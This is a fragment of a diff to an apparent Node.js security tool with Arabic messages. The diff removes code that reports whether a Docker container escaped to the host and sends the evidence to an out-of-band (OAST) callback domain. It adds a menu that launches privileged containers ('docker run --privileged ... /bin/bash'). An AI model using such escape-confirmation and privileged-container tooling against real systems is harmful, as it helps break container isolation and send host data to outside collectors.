-    console.log("🚨 تنبيه أمني: تم تأكيد الهروب من الحاوية!");
-    console.log("📡 تم إرسال الأدلة إلى OAST الخاص بك");
-    console.log("🛡️  يجب اتخاذ إجراءات أمنية فورية");
-  } else if (evidenceLog.finalVerdict.escapedToHost === 'POSSIBLE') {
-    console.log("⚠️  تحذير: هروب محتمل من الحاوية");
-    console.log("📡 تحقق من OAST للأدلة التفصيلية");
-  } else {
-    console.log("✅ الحاوية تبدو معزولة بشكل جيد");
-    console.log("📡 تم إرسال تفاعلات OAST للتحقق");
-  }
-  console.log("=".repeat(80));
+  dockerProcess.on('close', (code) => {
+    console.log(`\n✅ انتهى مع الكود: ${code}`);
+  });
 }
 
-// ===================== بدء التشغيل =====================
-console.log("🚀 بدء عملية تأكيد هروب الحاوية مع OAST...");
-console.log(`📡 سيتم إرسال الأدلة إلى: ${OAST_CONFIG.domain}\n`);
+// ===================== الوظيفة الرئيسية =====================
+async function main() {
+  console.log(`
+╔══════════════════════════════════════════════════════════╗
+║      تشغيل حاوية Docker مميزة                           ║
+║      Privileged Container Runner                         ║
+╚══════════════════════════════════════════════════════════╝
+  `);
+  
+  console.log('📋 اختر طريقة التشغيل:');
+  console.log('   1. تشغيل تفاعلي بسيط (docker run --privileged -it ubuntu:latest /bin/bash)');
+  console.log('   2. تشغيل مع أوامر مسبقة وعرض الناتج');
+  console.log('   3. تشغيل متقدم مع تقرير كامل');
+  console.log('   4. خروج');
+  
+  const readline = require('readline').createInterface({
+    input: process.stdin,
+    output: process.stdout
+  });
+  
+  readline.question('\nاختر رقم: ', async (choice) => {
+    switch(choice.trim()) {
+      case '1':
+        readline.close();
+        runSimplePrivilegedContainer();
+        break;
+        
+      case '2':
+        readline.close();
+        runWithPredefinedCommands();
+        break;
+        
+      case '3':
+        readline.close();
+        const runner = new PrivilegedContainerRunner();
+        await runner.run();
+        break;
+        
+      default:
+        readline.close();
+        console.log('👋 تم الخروج');
+        break;
+    }
+  });
+}
 
-// إرسال ping أولي
-sendOASTInteraction('HTTPS', {
-  checkPoint: 'tool_start',
-  evidence: { 
-    tool: 'ContainerEscapeConfirmation',
-    version: '2.0',
-    timestamp: new Date().toISOString()
-  }
-});
+// ===================== تشغيل مباشر من السطر =====================
+if (require.main === module) {
+  // التحقق من تثبيت Docker
+  exec('which docker', (error) => {
+    if (error) {
+      console.error('❌ Docker غير مثبت أو غير موجود في PATH');
+      console.log('   يرجى تثبيت Docker أولاً:');
+      console.log('   https://docs.docker.com/get-docker/');
+      process.exit(1);
+    }
+    
+    // التحقق من الصلاحيات
+    exec('docker ps', (error) => {
+      if (error && error.message.includes('permission denied')) {
+        console.error('❌ ليس لديك صلاحيات تشغيل Docker');
+        console.log('   حاول مع sudo أو أضف مستخدمك لمجموعة docker:');
+        console.log('   sudo usermod -aG docker $USER');
+        console.log('   ثم سجل الخروج وأدخل مرة أخرى');
+        process.exit(1);
+      }
+      
+      // بدء البرنامج
+      main();
+    });
+  });
+}
 
-// بدء التحقق
-setTimeout(detectContainerEnvironment, 1000);
+module.exports = { PrivilegedContainerRunner, runSimplePrivilegedContainer };